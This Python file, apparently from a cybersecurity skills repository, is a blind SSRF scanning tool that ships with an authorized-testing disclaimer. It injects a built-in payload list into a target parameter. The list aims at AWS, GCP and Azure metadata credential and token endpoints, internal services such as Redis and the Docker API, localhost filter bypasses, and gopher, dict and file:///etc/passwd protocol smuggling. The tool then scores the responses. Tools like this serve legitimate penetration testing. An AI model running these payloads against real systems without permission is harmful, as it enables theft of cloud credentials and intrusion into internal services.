mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-11 21:54:56 +03:00
c47eed6a64
- Fix 25 shell=True subprocess calls with list-based commands - Fix 49 verify=False in defensive skills (env-var override) - Add timeout to 231 HTTP/subprocess/socket calls - Fix 6 SQL injection patterns with whitelist validation - Replace 8 __import__() with standard imports - Remove 701 unused imports across 442 files - Add authorized-testing disclaimers to all offensive skills - Complete 11 incomplete skill directories - Expand 10 stub SKILL.md files with full content - Fix 2 YAML parse errors in frontmatter - Fix 5 pre-existing syntax errors - Convert 22 hardcoded paths/ports to environment variables - Back up 21 redundant skill pairs to .bak - Fix 2 global declaration errors - 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE) - 0 compile errors across all 724 agent.py files
253 lines
9.3 KiB
Python
253 lines
9.3 KiB
Python
#!/usr/bin/env python3
|
|
"""Blind SSRF detection agent.
|
|
|
|
Tests web application endpoints for Server-Side Request Forgery (SSRF)
|
|
vulnerabilities by injecting payloads that trigger out-of-band callbacks.
|
|
Uses configurable payload lists targeting internal services, cloud metadata
|
|
endpoints, and external callback receivers.
|
|
|
|
AUTHORIZED TESTING ONLY: Only use against targets you have explicit
|
|
written permission to test. Unauthorized SSRF testing is illegal.
|
|
"""
|
|
import argparse
|
|
import json
|
|
import os
|
|
import sys
|
|
import time
|
|
import urllib.parse
|
|
from datetime import datetime, timezone
|
|
|
|
try:
|
|
import requests
|
|
except ImportError:
|
|
print("[!] 'requests' library required: pip install requests", file=sys.stderr)
|
|
sys.exit(1)
|
|
|
|
|
|
SSRF_PAYLOADS = {
|
|
"aws_metadata": [
|
|
"http://169.254.169.254/latest/meta-data/",
|
|
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
|
"http://169.254.169.254/latest/user-data",
|
|
],
|
|
"gcp_metadata": [
|
|
"http://metadata.google.internal/computeMetadata/v1/",
|
|
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
|
|
],
|
|
"azure_metadata": [
|
|
"http://169.254.169.254/metadata/instance?api-version=2021-02-01",
|
|
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01",
|
|
],
|
|
"internal_services": [
|
|
"http://127.0.0.1:80/",
|
|
"http://127.0.0.1:8080/",
|
|
"http://127.0.0.1:443/",
|
|
"http://127.0.0.1:3306/",
|
|
"http://127.0.0.1:6379/",
|
|
"http://127.0.0.1:9200/",
|
|
"http://localhost:8500/v1/agent/self",
|
|
"http://127.0.0.1:2375/containers/json",
|
|
],
|
|
"bypass_filters": [
|
|
"http://0x7f000001/",
|
|
"http://0177.0.0.1/",
|
|
"http://[::1]/",
|
|
"http://127.1/",
|
|
"http://127.0.0.1.nip.io/",
|
|
"http://2130706433/",
|
|
],
|
|
"protocol_smuggling": [
|
|
"gopher://127.0.0.1:6379/_INFO",
|
|
"dict://127.0.0.1:6379/INFO",
|
|
"file:///etc/passwd",
|
|
"file:///etc/hosts",
|
|
],
|
|
}
|
|
|
|
|
|
def test_ssrf_parameter(target_url, param_name, payload, method="GET",
|
|
headers=None, cookies=None, callback_url=None):
|
|
"""Test a single SSRF payload against a parameter."""
|
|
test_payload = callback_url or payload
|
|
if method.upper() == "GET":
|
|
parsed = urllib.parse.urlparse(target_url)
|
|
params = urllib.parse.parse_qs(parsed.query)
|
|
params[param_name] = [test_payload]
|
|
new_query = urllib.parse.urlencode(params, doseq=True)
|
|
test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))
|
|
try:
|
|
resp = requests.get(test_url, headers=headers, cookies=cookies,
|
|
timeout=10, allow_redirects=False)
|
|
except requests.RequestException as e:
|
|
return {"payload": payload, "error": str(e), "vulnerable": False}
|
|
else:
|
|
data = {param_name: test_payload}
|
|
try:
|
|
resp = requests.post(target_url, data=data, headers=headers,
|
|
cookies=cookies, timeout=10, allow_redirects=False)
|
|
except requests.RequestException as e:
|
|
return {"payload": payload, "error": str(e), "vulnerable": False}
|
|
|
|
indicators = analyze_response(resp, payload)
|
|
return {
|
|
"payload": payload,
|
|
"status_code": resp.status_code,
|
|
"response_length": len(resp.content),
|
|
"response_time": resp.elapsed.total_seconds(),
|
|
"indicators": indicators,
|
|
"vulnerable": len(indicators) > 0,
|
|
}
|
|
|
|
|
|
def analyze_response(resp, payload):
|
|
"""Analyze HTTP response for SSRF success indicators."""
|
|
indicators = []
|
|
body = resp.text.lower()
|
|
|
|
# Cloud metadata indicators
|
|
if "169.254.169.254" in payload:
|
|
if any(kw in body for kw in ["ami-id", "instance-id", "security-credentials",
|
|
"access-key", "computemetadata", "subscriptionid"]):
|
|
indicators.append("Cloud metadata content detected in response")
|
|
|
|
# Internal service indicators
|
|
if "127.0.0.1" in payload or "localhost" in payload:
|
|
if resp.status_code == 200 and len(resp.content) > 0:
|
|
if any(kw in body for kw in ["redis_version", "elasticsearch", "docker",
|
|
"consul", "apache", "nginx", "server:"]):
|
|
indicators.append("Internal service response detected")
|
|
|
|
# File content indicators
|
|
if "file://" in payload:
|
|
if "root:" in body or "localhost" in body:
|
|
indicators.append("Local file content detected in response")
|
|
|
|
# Time-based detection
|
|
if resp.elapsed.total_seconds() > 5:
|
|
indicators.append(f"Slow response ({resp.elapsed.total_seconds():.1f}s) - possible network timeout to internal host")
|
|
|
|
# Differential response analysis
|
|
if resp.status_code in (200, 301, 302) and len(resp.content) > 100:
|
|
indicators.append(f"Non-error response with content (status: {resp.status_code}, size: {len(resp.content)})")
|
|
|
|
return indicators
|
|
|
|
|
|
def run_ssrf_scan(target_url, param_name, method="GET", categories=None,
|
|
headers=None, cookies=None, callback_url=None):
|
|
"""Run SSRF tests across payload categories."""
|
|
if categories is None:
|
|
categories = list(SSRF_PAYLOADS.keys())
|
|
|
|
results = []
|
|
total = sum(len(SSRF_PAYLOADS.get(c, [])) for c in categories)
|
|
print(f"[*] Testing {total} SSRF payloads across {len(categories)} categories")
|
|
print(f"[*] Target: {target_url} (param: {param_name}, method: {method})")
|
|
|
|
for category in categories:
|
|
payloads = SSRF_PAYLOADS.get(category, [])
|
|
print(f"\n [{category}] Testing {len(payloads)} payloads...")
|
|
for payload in payloads:
|
|
result = test_ssrf_parameter(
|
|
target_url, param_name, payload, method, headers, cookies, callback_url
|
|
)
|
|
result["category"] = category
|
|
results.append(result)
|
|
if result["vulnerable"]:
|
|
print(f" [VULN] {payload}")
|
|
for ind in result["indicators"]:
|
|
print(f" -> {ind}")
|
|
time.sleep(0.5) # Rate limiting
|
|
|
|
return results
|
|
|
|
|
|
def format_summary(results, target_url):
|
|
"""Print scan summary."""
|
|
vulnerable = [r for r in results if r.get("vulnerable")]
|
|
print(f"\n{'='*60}")
|
|
print(f" SSRF Scan Report")
|
|
print(f"{'='*60}")
|
|
print(f" Target : {target_url}")
|
|
print(f" Payloads : {len(results)}")
|
|
print(f" Vulnerable : {len(vulnerable)}")
|
|
|
|
if vulnerable:
|
|
print(f"\n Confirmed/Suspected Vulnerabilities:")
|
|
for v in vulnerable:
|
|
print(f" [{v['category']:20s}] {v['payload']}")
|
|
for ind in v.get("indicators", []):
|
|
print(f" -> {ind}")
|
|
|
|
by_category = {}
|
|
for r in vulnerable:
|
|
by_category.setdefault(r["category"], []).append(r)
|
|
if by_category:
|
|
print(f"\n Findings by Category:")
|
|
for cat, items in by_category.items():
|
|
print(f" {cat:25s}: {len(items)} finding(s)")
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(
|
|
description="Blind SSRF detection agent (authorized testing only)"
|
|
)
|
|
parser.add_argument("--target", required=True, help="Target URL with parameter to test")
|
|
parser.add_argument("--param", required=True, help="Parameter name to inject SSRF payloads into")
|
|
parser.add_argument("--method", choices=["GET", "POST"], default="GET")
|
|
parser.add_argument("--categories", nargs="+", choices=list(SSRF_PAYLOADS.keys()),
|
|
help="SSRF payload categories to test")
|
|
parser.add_argument("--callback", help="Out-of-band callback URL (e.g., Burp Collaborator)")
|
|
parser.add_argument("--header", nargs="+", help="Custom headers (key:value)")
|
|
parser.add_argument("--cookie", help="Cookie string")
|
|
parser.add_argument("--output", "-o", help="Output JSON report path")
|
|
parser.add_argument("--verbose", "-v", action="store_true")
|
|
args = parser.parse_args()
|
|
|
|
headers = {}
|
|
if args.header:
|
|
for h in args.header:
|
|
k, v = h.split(":", 1)
|
|
headers[k.strip()] = v.strip()
|
|
cookies = {}
|
|
if args.cookie:
|
|
for pair in args.cookie.split(";"):
|
|
if "=" in pair:
|
|
k, v = pair.strip().split("=", 1)
|
|
cookies[k] = v
|
|
|
|
results = run_ssrf_scan(
|
|
args.target, args.param, args.method, args.categories,
|
|
headers or None, cookies or None, args.callback
|
|
)
|
|
format_summary(results, args.target)
|
|
|
|
vulnerable = [r for r in results if r.get("vulnerable")]
|
|
report = {
|
|
"timestamp": datetime.now(timezone.utc).isoformat(),
|
|
"tool": "SSRF Scanner",
|
|
"target": args.target,
|
|
"parameter": args.param,
|
|
"total_payloads": len(results),
|
|
"vulnerable_count": len(vulnerable),
|
|
"findings": vulnerable,
|
|
"all_results": results if args.verbose else [],
|
|
"risk_level": (
|
|
"CRITICAL" if any(r["category"] in ("aws_metadata", "gcp_metadata", "azure_metadata")
|
|
for r in vulnerable)
|
|
else "HIGH" if vulnerable
|
|
else "LOW"
|
|
),
|
|
}
|
|
|
|
if args.output:
|
|
with open(args.output, "w") as f:
|
|
json.dump(report, f, indent=2)
|
|
print(f"\n[+] Report saved to {args.output}")
|
|
elif args.verbose:
|
|
print(json.dumps(report, indent=2))
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|